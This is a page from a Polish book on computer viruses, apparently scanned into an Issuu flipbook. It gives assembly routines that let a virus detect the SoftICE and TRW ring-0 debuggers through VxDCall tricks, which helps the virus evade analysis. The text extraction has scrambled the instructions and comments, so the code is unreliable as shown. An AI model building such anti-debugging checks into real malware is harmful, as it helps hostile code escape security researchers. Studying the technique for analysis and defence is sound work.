Wirusy komputerowe

Page 80

ring0: db dw mov call_sice: db dw mov

0CDh,20h 0001h,0001h edx, 400h

; Get_Cur_VM_Handle

0CDh,20h 009Ah,0001h esi,dword ptr [call_sice+2]

; Disable_Local_Trapping

mov cmp

esi,[esi] word ptr [esi],015FFh

jne cmp jne

niee_sice word ptr [esi+6],05751h niee_sice

inc niee_sice:

; offset DWORDa wskazujacego na adres ; Disable_Local_Trapping ; adres Disable_Local_Trapping ; czy pierwsze bajty procki to czesc ; instruckji call dword[..]? ; jesli nie pomin

jest_sicE

Następnym z debuggerów pozwalających na śledzenie kodu ring-0 jest TRW. Również dzięki niemu można zanalizować kod wirusa, z tego też względu zamieszczam, i na jego wykrycie, procedurę anty : jest_trw ring0: db dw push mov call_trw: db dw

db 0 0CDh,20h 0001h,0001h ebx eax,000Eh

; Get_Cur_VM_Handle

0CDh,20h 0093h,0001h

; System_Control ; po wykonaniu VxDCall-a bajty 0CDh,20h ; i numer uslugi zamieniaja sie na ; tzw. direct call-a czyli ; call dword ptr[vadres] ; (0FFh,15h,DWORD vadres)

mov mov cmp

esi,dword ptr [call_trw+2] esi,[esi] byte ptr [esi],0E8h

jne cmp

niee_trw word ptr [esi+5],025FFh

jne inc niee_trw:

; VM_RESUME

; vadres System_Control ; sprawdz pierwsze bajty procki czy ; to opcode ; relatywnego call-a(0E8h,DWORD) ; bajty absolutnego jmp-a ; (FF,25h,DWORD vadres)

niee_trw jest_trw

80


Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.